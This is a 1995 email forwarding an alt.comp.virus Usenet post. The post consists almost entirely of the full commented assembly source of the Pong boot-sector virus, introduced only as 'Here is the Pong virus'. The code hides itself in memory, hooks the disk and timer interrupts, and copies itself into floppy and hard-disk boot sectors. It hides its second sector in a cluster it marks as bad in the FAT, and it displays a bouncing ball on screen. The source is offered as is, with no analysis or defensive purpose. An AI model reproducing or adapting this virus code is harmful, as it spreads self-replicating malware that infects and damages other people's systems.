From smtp Tue Feb  7 13:15 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue,  7 Feb 95 13:15 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
     id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
Date: Tue, 7 Feb 1995 13:17:17 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 22178
Content-Type: text
Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw 
Subject: (fwd) Pong
Newsgroups: alt.comp.virus
Status: O

Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: Pong
Date: 5 Feb 1995 21:56:02 GMT
Organization: International Internet Association.
Lines: 624
Message-ID: <3h3hhi$sb@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]

Here is the Pong virus:



   ; ORIGININ ADDRESS -7C00H 

 
RAM   SEGMENT AT 0

   ; SYSTEM DATA

   ORG   20H
INT8OF   DW ?        ; INTERRUPT 8 OFFSET
INT8SG   DW ?        ; INTERRUPT 8 SEGMENT
   ORG   4CH
INT19O   DW ?        ; INTERRUPT 19 OFFSET
INT19S   DW ?        ; INTERRUPT 19 SEGMENT
   ORG   413H
RAMSIZ   DW ?        ; TOTAL RAM SIZE

   ; BPB OF VIRUS BOOT RECORD

   ORG   7C0BH
BYPSEC   DW ?        ; BYTES PER SECTOR
NUMSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
SECRES   DW ?        ; RESERVED SECTORS
FATNUM   DB ?        ; NUMBER OF FATS
DIRNUM   DW ?        ; NUMBER OF ROOT DIR ENTRIES
SECNUM   DW ?        ; NUMBER OF SECTORS
MEDIAD   DB ?        ; MEDIA DESCRIPTOR
SECFAT   DW ?        ; NUMBER OF SECTORS PER FAT
SECTRK   DW ?        ; SECTORS PER TRACK
HEDNUM   DW ?        ; NUMBER OF HEADS
HIDSEC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)

   ; INTERRUPT 19 (13H) BRANCH ADDRESS

   ORG   7D2AH

ORIG19   DW ?        ; ORIGINAL INT 19 OFFSET
ORG19S   DW ?        ; ORIGINAL INT 19 SEGMENT

   ; INSTALLATION DATA AREA

   ORG   7DF3H
CURFAT   DW ?     ; CURRENT FAT SECTOR
CURCLS   DW ?     ; SECTOR NUMBER OF FIRST CLUSTER
SWITCH   DB ?     ; SWITCHES
            ;          - 01H - NESTED INTERRUPT
            ;          - 02H - TIMER INTERRUPT INSTALLED
            ;          - 04H - 16-BIT FAT
LSTDRV   DB ?     ; DRIVE LAST USED
REMAIN   DW ?     ; SECTOR NUMBER OF REST OF CODE
RESERV   DB ?     ; RESERVED SPACE FOR FUTURE HACKING
FLAG01   DW ?     ; FLAG FIELD

   ; DATA AREA

   ORG   7EB0H
LASTTM   DW ?        ; SYSTEM TIME LAST CALLED
PRCFAT   DB ?        ; PROCESSED FAT / 256

   ; INTERRUPT 8 BRANCH ADDRESS

   ORG   7FC9H
ORG08O   DW ?        ; ORIGINAL INT 8 OFFSET
ORG08S   DW ?        ; ORIGINAL INT 8 SEGMENT

   ; DISPLAY DATA AREA

   ORG   7FCDH
CHARAT   DW ?        ; CHARACTER AND ATTRIBUTES
ROWCOL   DW ?        ; ROW AND COLUMN POSITIONS
ROWCLM   DW ?        ; ROW AND COLUMN MOVEMENT
GRAPHM   DB ?        ; GRAPHICS MODE SWITCH
MODEAP   DW ?        ; MODE AND ACTIVE PAGE
COLUMN   DB ?        ; VISIBLE COLUMNS - 1

   ; BPB OF ORIGINAL BOOT RECORD

   ORG   800BH
BIPSEC   DW ?        ; BYTES PER SECTOR
ALCSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
VERVED   DW ?        ; RESERVED SECTORS
RUMNUM   DB ?        ; NUMBER OF FATS
ROTRID   DW ?        ; NUMBER OF ROOT DIR ENTRIES
NUOSEC   DW ?        ; NUMBER OF SECTORS
MIASET   DB ?        ; MEDIA DESCRIPTOR
FASNUM   DW ?        ; NUMBER OF SECTORS PER FAT
TRASSC   DW ?        ; SECTORS PER TRACK
NUOHED   DW ?        ; NUMBER OF HEADS
HIDESC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)


   ORG   81F5H
FSTCLS   DW ?        ; SECTOR NUMBER OF FIRST CLUSTER
SWITCB   DB ?        ; SWITCHES - 01H - NESTED INTERRUPT
         ;             - 02H - TIMER INTERRUPT INSTALLED
         ;             - 04H - 16-BIT FAT
LASTUS   DB ?        ; DRIVE LAST USED
REMAI2   DW ?        ; SECTOR NUMBER OF REST OF CODE
LATER2   DB ?        ; TYPE SWITCH
LATER3   DW 2 DUP (?)	 ; INSTALLED.. HMMM?


RAM   ENDS

CODE  SEGMENT BYTE PUBLIC 'CODE'
   ASSUME CS:CODE,DS:RAM

START:  
   JMP   HIDE_ME_PLEASE      ; BRANCH ROUND BPB TABLE

   DB 'MSDOS3.2'     ; OEM AND VERSION

   DW 512      ; BYPSEC - BYTES PER SECTOR
   DB 2        ; NUMSEC - SECTORS PER ALLOCATION UNIT
   DW 1        ; SECRES - RESERVED SECTORS
   DB 2        ; FATNUM - NUMBER OF FATS
   DW 112      ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
   DW 720      ; SECNUM - NUMBER OF SECTORS
   DB 0FDH     ; MEDIAD - MEDIA DESCRIPTOR
   DW 2        ; SECFAT - NUMBER OF SECTORS PER FAT
   DW 9        ; SECTRK - SECTORS PER TRACK
   DW 2        ; HEDNUM - NUMBER OF HEADS
   DW 0        ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)

   ; START OF PROCESSING

   ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA

HIDE_ME_PLEASE: 
   XOR   AX,AX
   MOV   SS,AX       ; STACK SEGMENT ZERO
   MOV   SP,7C00H    ; SET STACK POINTER TO START OF BUFFER
   MOV   DS,AX       ; DATA SEGMENT ZERO
   MOV   AX,RAMSIZ   ; GET TOTAL RAM SIZE
   SUB   AX,2        ; SUBTRACT 2K
   MOV   RAMSIZ,AX   ; REPLACE AMENDED RAM SIZE
   MOV   CL,6        ; NUMBER OF POSITIONS TO SHIFT
   SHL   AX,CL       ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
   SUB   AX,7C0H     ; SUBTRACT BUFFER OFFSET
   MOV   ES,AX       ; SET TARGET SEGMENT ADDRESS
   MOV   SI,7C00H    ; LOAD BUFFER TARGET OFFSET
   MOV   DI,SI       ; COPY OFFSET FOR SOURCE
   MOV   CX,0100H    ; NUMBER OF WORDS TO MOVE
   REPZ  MOVSW       ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
;  MOV   CS,AX       ; LOAD SEGMENT OF NEW LOCATION
                     ; THIS IS THE ILLEGAL OPCODE!
   DB 08EH, 0C8H     ; PREVIOUS COMMAND HARD CODED

   ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE

   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   CALL  SET_IT_UP
SET_IT_UP: 
   XOR   AH,AH          ; INITIALISE DISK SUB-SYSTEM
   INT   13H            ; DISK INTERRUPT
   AND   LSTDRV,80H     ; SET ADDRESS FOR HARD DISK
   MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
   PUSH  CS             ; \ GET CURRENT SEGMENT
   POP   AX             ; /
   SUB   AX,20H         ; ADDRESS BACK ONE SECTOR
   MOV   ES,AX          ; SET BUFFER SEGMENT FOR REST OF CODE
   CALL  READ_IT_IN         ; READ REST OF CODE
   MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
   INC   BX             ; ADDRESS TO BOOT SECTOR STORE
   MOV   AX,0FFC0H      ; WRAP-AROUND ADDRESS (= -400H)
   MOV   ES,AX          ; SET BUFFER SEGMENT FOR BOOT SECTOR
   CALL  READ_IT_IN         ; READ REAL BOOT SECTOR
   XOR   AX,AX
   MOV   SWITCH,AL      ; SET OFF ALL SWITCHES
   MOV   DS,AX          ; DATA SEGMENT ZERO
   MOV   AX,INT19O      ; SAVE INT 19 OFFSET
   MOV   BX,INT19S      ; SAVE INT 19 SEGMENT
   MOV   INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
   MOV   INT19S,CS      ; NEW INT 19 SEGMENT
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   MOV   ORIG19,AX      ; STORE OLD INT 19 OFFSET
   MOV   ORG19S,BX      ; STORE OLD INT 19 SEGMENT
   MOV   DL,LSTDRV      ; GET DRIVE NUMBER
   DB 0EAH              ; FAR JUMP TO BOOT SECTOR
   DW 7C00H, 0

WRITE_IT_OUT: 
   MOV   AX,301H     ; WRITE ONE SECTOR
   JMP   SHORT GET_SECTOR

READ_IT_IN: 
   MOV   AX,201H     ; READ ONE SECTOR
GET_SECTOR: 
   XCHG  BX,AX       ; MOVE SECTOR NUMBER TO AX
   ADD   AX,HIDSEC   ; ADD HIDDEN SECTORS
   XOR   DX,DX       ; CLEAR FOR DIVISION
   DIV   SECTRK      ; DIVIDE BY SECTORS PER TRACK
   INC   DL          ; ADD ONE TO ODD SECTORS
   MOV   CH,DL       ; SAVE SECTOR NUMBER
   XOR   DX,DX       ; CLEAR FOR DIVISION
   DIV   HEDNUM      ; DIVIDE BY NUMBER OF HEADS
   MOV   CL,6        ; POSITIONS TO MOVE
   SHL   AH,CL       ; MOVE TOP TWO BITS OF TRACK
   OR    AH,CH       ; MOVE IN SECTOR NUMBER
   MOV   CX,AX       ; MOVE TO CORRECT REGISTER
   XCHG  CH,CL       ; ..AND CORRECT POSITION IN REG
   MOV   DH,DL       ; MOVE HEAD NUMBER
   MOV   AX,BX       ; RECOVER CONTENTS OF AX
BRING_IN: 
   MOV   DL,LSTDRV   ; GET DRIVE NUMBER
   MOV   BX,8000H    ; SET BUFFER ADDRESS
   INT   13H         ; DISK INTERRUPT
   JNB   GO_BACK     ; BRANCH IF NO ERRORS
   POP   AX
GO_BACK:
   RET

   ; INTERRUPT 19 (13H) (DISK) ROUTINE

INT_19: 
   PUSH  DS
   PUSH  ES
   PUSH  AX
   PUSH  BX
   PUSH  CX
   PUSH  DX
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   PUSH  CS             ; \ SET ES EQUAL TO CS
   POP   ES             ; /
   TEST  SWITCH,1       ; TEST NESTED INTERRUPT SWITCH
   JNZ   PASS_OUT         ; EXIT IF ON
   CMP   AH,2           ; TEST FOR READ SECTOR
   JNZ   PASS_OUT         ; EXIT IF NOT
   CMP   LSTDRV,DL      ; COMPARE DRIVE NUMBER
   MOV   LSTDRV,DL      ; SAVE DRIVE NUMBER
   JNZ   INT_SWITCH         ; BRANCH IF DIFFERENT THIS TIME

   ; THIS IS THE ACTIVATION CODE.  IT HAS A 'WINDOW' OF JUST LESS
   ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
   ; TIME A DISK-READ WILL SWITCH IT ON.

   XOR   AH,AH          ; GET SYSTEM CLOCK
   INT   1AH            ; SYSTEM CLOCK INTERRUPT
   TEST  DH,7FH         ; TEST LOW WORD HIGH BYTE
   JNZ   DO_TIME
   TEST  DL,0F0H        ; TEST LOW WORD LOW BYTE
   JNZ   DO_TIME
   PUSH  DX             ; SAVE SYSTEM TIME
   CALL  INTERRUPT_08         ; INSTALL SYSTEM CLOCK ROUTINE
   POP   DX             ; RECOVER SYSTEM TIME
DO_TIME: 
   MOV   CX,DX          ; COPY SYSTEM TIME
   SUB   DX,LASTTM      ; INTERVAL SINCE LAST CALL
   MOV   LASTTM,CX      ; SAVE SYSTEM TIME
   SUB   DX,24H         ; SUBTRACT 2 SECONDS
   JB    PASS_OUT         ; RETURN IF LESS THAN TWO SECONDS
INT_SWITCH: 
   OR SWITCH,1          ; SET ON NESTED INTERRUPT SWITCH
   PUSH  SI
   PUSH  DI
   CALL  DISK_INSTALL         ; INSTALL ON DISK
   POP   DI
   POP   SI
   AND   SWITCH,0FEH    ; SET OFF NESTED INTERRUPT SWITCH
PASS_OUT: 
   POP   DX
   POP   CX
   POP   BX
   POP   AX
   POP   ES
   POP   DS
   DB 0EAH        ; FAR JUMP TO ORIGINAL INT 19
   DW 01FBH       ; ORIG19 - ORIGINAL INT 19 OFFSET
   DW 0C800H      ; ORG19S - ORIGINAL INT 19 SEGMENT

   ; DISK INSTALLATION

DISK_INSTALL: 
   MOV   AX,201H        ; READ ONE SECTOR
   MOV   DH,0           ; HEAD NUMBER 0
   MOV   CX,1           ; TRACK 0, SECTOR 1
   CALL  BRING_IN         ; READ FIRST SECTOR FROM DISK
   TEST  LSTDRV,80H     ; TEST FOR HARD DRIVE
   JZ    FAT_CHECK         ; BRANCH IF NOT

   ; HARD DISK - PARTITION TABLE

   MOV   SI,81BEH       ; ADDRESS TO PARTITION TABLE
   MOV   CX,4           ; NUMBER OF ENTRIES IN TABLE
NEXT_PART_ENTRY: 
   CMP   BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
   JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
   CMP   BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
   JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
   ADD   SI,10H         ; ADDRESS TO NEXT ENTRY
   LOOP  NEXT_PART_ENTRY         ; LOOP THROUGH TABLE
   RET

   ; HARD DISK - GET BOOT RECORD

SNARF_UP_THE_BOOT: 
   MOV   DX,[SI]        ; GET HEAD NUMBER OF BOOT
   MOV   CX,[SI+2]      ; GET TRACK AND SECTOR OF BOOT
   MOV   AX,201H        ; READ ONE SECTOR
   CALL  BRING_IN         ; GET BOOT SECTOR FOR PARTITION

   ; BOOT SECTOR PROCESSING

FAT_CHECK: 
   MOV   SI,8002H       ; ADDRESS TO BPB SOURCE
   MOV   DI,7C02H       ; ADDRESS TO BPB TARGET
   MOV   CX,1CH         ; LENGTH OF BPB
   REPZ  MOVSB          ; COPY BPB
   CMP   LATER3,1357H   ; IS VIRUS INSTALLED ALREADY
   JNZ   WHERE_BE_THE_FAT         ; BRANCH IF NOT
   CMP   LATER2,0
   JNB   HEAD_EM_OUT
   MOV   AX,FSTCLS      ; GET SECTOR NO OF FIRST CLUSTER
   MOV   CURCLS,AX      ; SAVE IT
   MOV   SI,REMAI2
   JMP   PLACE_VIRUS

HEAD_EM_OUT:  RET

   ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER

WHERE_BE_THE_FAT: 
   CMP   BIPSEC,200H    ; SECTOR SIZE 512
   JNZ   HEAD_EM_OUT         ; EXIT IF DIFFERENT SIZE
   CMP   ALCSEC,2       ; SECTORS PER CLUSTER
   JB    HEAD_EM_OUT         ; EXIT IF LESS THAN 2
   MOV   CX,VERVED      ; GET RESERVED SECTORS
   MOV   AL,RUMNUM      ; NUMBER OF FATS
   CBW                  ; FILL OUT REGISTER
   MUL   FASNUM         ; SECTORS PER FAT
   ADD   CX,AX          ; SECTOR OF ROOT DIR
   MOV   AX,20H         ; LENGTH OF DIR ENTRY
   MUL   ROTRID         ; NUMBER OF DIR ENTRIES
   ADD   AX,1FFH        ; ROUND UP TO WHOLE SECTORS
   MOV   BX,200H        ; LENGTH OF SECTOR
   DIV   BX             ; SECTORS OF ROOT DIR
   ADD   CX,AX          ; SECTOR OF FIRST CLUSTER
   MOV   CURCLS,CX      ; SAVE THIS
   MOV   AX,SECNUM      ; GET NUMBER OF SECTORS
   SUB   AX,CURCLS      ; SUBTRACT NON-DATA SECTORS
   MOV   BL,NUMSEC      ; GET SECTORS PER CLUSTER
   XOR   DX,DX
   XOR   BH,BH          ; CLEAR TOP OF REGISTER
   DIV   BX             ; CALCULATE NUMBER OF CLUSTERS
   INC   AX             ; ALLOW FOR NUMBER ONE NOT USED
   MOV   DI,AX
   AND   SWITCH,0FBH    ; SET OFF 16-BIT FAT SWITCH
   CMP   AX,0FF0H       ; SEE IF 12-BIT FAT
   JBE   WRITE_FAT         ; BRANCH IF YES
   OR    SWITCH,4       ; SET ON 16-BIT FAT SWITCH
WRITE_FAT: 
   MOV   SI,1           ; INITIALISE FAT ENTRY COUNT
   MOV   BX,SECRES      ; GET RESERVED SECTORS
   DEC   BX             ; ALLOW FOR ADDITION
   MOV   CURFAT,BX      ; SAVE CURRENT FAT SECTOR
   MOV   PRCFAT,0FEH    ; SET PROCESSED FAT LENGTH TO -2
   JMP   SHORT READ_FAT

   ; DATA AREA

   DW 2     ; CURFAT - CURRENT FAT SECTOR
   DW 12    ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
   DB 1     ; SWITCH - SWITCHES
            ;        - 01H - NESTED INTERRUPT
            ;        - 02H - TIMER INTERRUPT INSTALLED
            ;        - 04H - 16-BIT FAT
   DB 0               ; LSTDRV - DRIVE LAST USED
   DW 02B8H           ; REMAIN - SECTOR NUMBER OF REST OF CODE
   DB 0               ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
   DW 1357H, 0AA55H   ; FLAG01 - FLAG FIELD.

      ; END OF FIRST SECTOR, START OF SECOND

   ; SEARCH FAT FOR UNUSED CLUSTER

READ_FAT: 
   INC   CURFAT         ; ADDRESS TO NEXT FAT SECTOR
   MOV   BX,CURFAT      ; GET NEXT SECTOR NUMBER
   ADD   PRCFAT,2       ; ADD TO PROCESSED FAT LENGTH
   CALL  READ_IT_IN         ; READ FAT SECTOR
   JMP   SHORT GET_EM_NEXT

FAT_SWITCH: 
   MOV   AX,3        ; LENGTH OF TWO FAT ENTRIES
   TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
   JZ FAT_ENTRY         ; BRANCH IF OFF
   INC   AX          ; FOUR BYTES NOT THREE
FAT_ENTRY: 
   MUL   SI          ; MULTIPLY BY FAT ENTRY NUMBER
   SHR   AX,1        ; DIVIDE BY TWO
   SUB   AH,PRCFAT   ; SUBTRACT PROCESSED FAT LENGTH
   MOV   BX,AX       ; COPY DISPLACEMENT
   CMP   BX,1FFH     ; SEE IF IN THIS SECTOR
   JNB   READ_FAT      ; BRANCH IF NOT
   MOV   DX,[BX+8000H]     ; GET ENTRY
   TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
   JNZ   F_TEST_1      ; BRANCH IF ON
   MOV   CL,4        ; POSITIONS TO MOVE
   TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
   JZ    FAT_TOP      ; BRANCH IF NOT
   SHR   DX,CL       ; SHIFT EVEN ENTRY INTO POSITION
FAT_TOP: 
   AND   DH,0FH      ; SWITCH OFF TOP BITS
F_TEST_1: 
   TEST  DX,0FFFFH   ; TEST ALL BITS
   JZ    MAKE_BAD      ; BRANCH IF NONE ON
GET_EM_NEXT: 
   INC   SI          ; NEXT FAT ENTRY
   CMP   SI,DI       ; HAS LAST ENTRY BEEN PROCESSED
   JBE   FAT_SWITCH      ; BRANCH IF NOT
   RET

   ; SPARE CLUSTER FOUND - INSTALL ON DISK

MAKE_BAD: 
   MOV   DX,0FFF7H   ; LOAD BAD SECTOR MARKER
   TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
   JNZ   FIND_SECTOR      ; BRANCH IF ON
   AND   DH,0FH      ; CONVERT MARKER TO FF7H
   MOV   CL,4        ; BITS TO MOVE
   TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
   JZ    FIND_SECTOR      ; BRANCH IF NOT
   SHL   DX,CL       ; MOVE INTO POSITION
FIND_SECTOR: 
   OR [BX+8000H],DX  ; PUT MARKER INTO FAT
   MOV   BX,CURFAT   ; GET SECTOR NUMBER
   CALL  WRITE_IT_OUT      ; WRITE FAT SECTOR
   MOV   AX,SI       ; GET ENTRY NUMBER
   SUB   AX,2        ; SUBTRACT FIRST CLUSTER NUMBER
   MOV   BL,NUMSEC   ; GET SECTORS PER CLUSTER
   XOR   BH,BH       ; CLEAR TOP OF REGISTER
   MUL   BX          ; CONVERT TO SECTORS
   ADD   AX,CURCLS   ; ADD SECTOR NUMBER OF 1ST CLUSTER
   MOV   SI,AX       ; SAVE REAL SECTOR NUMBER
   MOV   BX,0        ; SECTOR ZERO
   CALL  READ_IT_IN      ; READ BOOT SECTOR
   MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
   INC   BX          ; ADDRESS TO NEXT SECTOR
   CALL  WRITE_IT_OUT      ; WRITE BOOT SECTOR TO STORE
PLACE_VIRUS: 
   MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
   MOV   REMAIN,SI   ; SAVE SECTOR NO OF REST OF CODE
   PUSH  CS          ; \ GET CURRENT SEGMENT
   POP   AX          ; /
   SUB   AX,20H      ; ADDRESS BACK TO VIRUS (2)
   MOV   ES,AX       ; SET BUFFER ADDRESS
   CALL  WRITE_IT_OUT      ; WRITE VIRUS (2)
   PUSH  CS          ; \ GET CURRENT SEGMENT
   POP   AX          ; /
   SUB   AX,40H      ; ADDRESS BACK TO VIRUS (1)
   MOV   ES,AX       ; SET BUFFER ADDRESS
   MOV   BX,0        ; SECTOR ZERO
   CALL  WRITE_IT_OUT      ; WRITE VIRUS (1)
   RET

   DW 20CH        ; LASTTM - SYSTEM TIME LAST CALLED
   DB 2           ; PRCFAT - PROCESSED FAT / 256

   ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE

INTERRUPT_08: 
   TEST  SWITCH,2       ; TEST INT 8 INSTALLED SWITCH
   JNZ   FINISH_TIME         ; BRANCH IF ON
   OR    SWITCH,2       ; SET ON INT 8 INSTALLED SWITCH
   MOV   AX,0           ; \ SEGMENT ZERO
   MOV   DS,AX          ; /
   MOV   AX,INT8OF      ; SAVE INT 8 OFFSET
   MOV   BX,INT8SG      ; SAVE INT 8 SEGMENT
   MOV   INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
   MOV   INT8SG,CS      ; NEW INT 8 SEGMENT
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   MOV   ORG08O,AX      ; STORE OLD INT 8 OFFSET
   MOV   ORG08S,BX      ; STORE OLD INT 8 SEGMENT
FINISH_TIME: 
   RET

   ; INTERRUPT 10

DO_VIDEO: 
   PUSH  DS
   PUSH  AX
   PUSH  BX
   PUSH  CX
   PUSH  DX
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   MOV   AH,0FH         ; GET VDU PARAMETERS
   INT   10H            ; VDU INTERRUPT
   MOV   BL,AL          ; VDU MODE
   CMP   BX,MODEAP      ; TEST MODE AND ACTIVE PAGE
   JZ    CHARACTER_ATTRIB         ; BRANCH IF UNCHANGED
   MOV   MODEAP,BX      ; SAVE MODE AND ACTIVE PAGE
   DEC   AH             ; VISIBLE COLUMNS
   MOV   COLUMN,AH      ; SAVE VISIBLE COLUMNS - 1
   MOV   AH,1           ; GRAPHICS MODE SWITCH ON
   CMP   BL,7           ; TEST FOR TELETYPE MODE
   JNZ   IS_IT_GRAPHICS         ; BRANCH IF NOT
   DEC   AH             ; GRAPHICS MODE SWITCH OFF
IS_IT_GRAPHICS: 
   CMP   BL,4           ; TEST FOR GRAPHICS MODE
   JNB   ROW_AND_COLUMN         ; BRANCH IF GRAPHICS OR TELETYPE
   DEC   AH             ; GRAPHICS MODE SWITCH OFF
ROW_AND_COLUMN: 
   MOV   GRAPHM,AH      ; STORE GRAPHICS MODE SWITCH
   MOV   ROWCOL,101H    ; SET ROW AND COLUMN POSITIONS
   MOV   ROWCLM,101H    ; SET ROW AND COLUMN MOVEMENT
   MOV   AH,3           ; GET CURSOR ADDRESS
   INT   10H            ; VDU INTERRUPT
   PUSH  DX             ; SAVE CURSOR ADDRESS
   MOV   DX,ROWCOL      ; GET ROW AND COLUMN POSITIONS
   JMP   SHORT VIDEO_01

CHARACTER_ATTRIB: 
   MOV   AH,3        ; GET CURSOR ADDRESS
   INT   10H         ; VDU INTERRUPT
   PUSH  DX
   MOV   AH,2        ; SET CURSOR ADDRESS
   MOV   DX,ROWCOL   ; GET ROW AND COLUMN POSITIONS
   INT   10H         ; VDU INTERRUPT
   MOV   AX,CHARAT   ; GET CHARACTER AND ATTRIBUTES
   CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
   JNZ   WRITE_CHAR      ; BRANCH IF NOT
   MOV   AX,8307H    ; CHARACTER AND WRITE MODE
WRITE_CHAR: 
   MOV   BL,AH       ; MOVE ATTRIBUTE OR WRITE MODE
   MOV   CX,1        ; ONLY ONCE
   MOV   AH,9        ; WRITE CHARACTER AND ATTRIBUTES
   INT   10H         ; VDU INTERRUPT
VIDEO_01: 
   MOV   CX,ROWCLM      ; GET ROW AND COLUMN MOVEMENT
   CMP   DH,0           ; IS ROW ZERO
   JNZ   VIDEO_02         ; BRANCH IF NOT
   XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
   INC   CH             ; /
VIDEO_02: 
   CMP   DH,18H         ; IS ROW 24
   JNZ   VIDEO_04         ; BRANCH IF NOT
   XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
   INC   CH             ; /
VIDEO_04: 
   CMP   DL,0           ; IS COLUMN 0
   JNZ   VIDEO_05         ; BRANCH IF NOT
   XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
   INC   CL             ; /
VIDEO_05: 
   CMP   DL,COLUMN      ; IS COLUMN LAST VISIBLE COLUMN
   JNZ   VIDEO_07         ; BRANCH IF NOT
   XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
   INC   CL             ; /
VIDEO_07: 
   CMP   CX,ROWCLM      ; COMPARE ROW AND COLUMN MOVEMENT
   JNZ   VIDEO_09         ; BRANCH IF CHANGED
   MOV   AX,CHARAT      ; GET CHARACTER AND ATTRIBUTES
   AND   AL,7           ; SWITCH OFF TOP BIT OF CHARACTER
   CMP   AL,3           ; TEST BITS 1 AND 2
   JNZ   VIDEO_08         ; BRANCH IF OFF
   XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
   INC   CH             ; /
VIDEO_08: 
   CMP   AL,5           ; TEST BITS 1 AND 3
   JNZ   VIDEO_09         ; BRANCH IF OFF
   XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
   INC   CL             ; /
VIDEO_09: 
   ADD   DL,CL       ; NEW COLUMN POSITION
   ADD   DH,CH       ; NEW ROW POSITION
   MOV   ROWCLM,CX   ; SAVE ROW AND COLUMN POSITIONS
   MOV   ROWCOL,DX   ; SAVE ROW AND COLUMN POSITIONS
   MOV   AH,2        ; SET CURSOR ADDRESS
   INT   10H         ; VDU INTERRUPT
   MOV   AH,8        ; READ CHARACTER AND ATTRIBUTES
   INT   10H         ; VDU INTERRUPT
   MOV   CHARAT,AX   ; SAVE CHARACTER AND ATTRIBUTES
   MOV   BL,AH       ; MOVE ATTRIBUTES
   CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
   JNZ   VIDEO_10      ; BRANCH IF NOT
   MOV   BL,83H      ; WRITE MODE FOR GRAPHICS
VIDEO_10: 
   MOV   CX,1        ; ONCE ONLY
   MOV   AX,907H     ; WRITE CHARACTER AND ATTRIBUTES
   INT   10H         ; VDU INTERRUPT
   POP   DX          ; RESTORE CURSOR ADDRESS
   MOV   AH,2        ; SET CURSOR ADDRESS
   INT   10H         ; VDU INTERRUPT
   POP   DX
   POP   CX
   POP   BX
   POP   AX
   POP   DS
   DB 0EAH        ; FAR JUMP TO ORIGINAL INT 8
   DW 0907H       ; ORG08O - ORIGINAL INT 8 OFFSET
   DW 10BDH       ; ORG08S - ORIGINAL INT 8 SEGMENT

   DW 0720H       ; CHARAT - CHARACTER AND ATTRIBUTES
   DW 1533H       ; ROWCOL - ROW AND COLUMN POSITIONS
   DW 01FFH       ; ROWCLM - ROW AND COLUMN MOVEMENT
   DB 0           ; GRAPHM - GRAPHICS MODE SWITCH
   DW 3           ; MODEAP - MODE AND ACTIVE PAGE
   DB 4FH         ; DW7FD6 - VISIBLE COLUMNS - 1


   DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
   DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
   DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
   DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
   DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H

   ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE

CODE  ENDS

   END   START






--
Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
The Great Sporkeus Maximus			     ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science 
"I Can't Believe It's Not Butter"

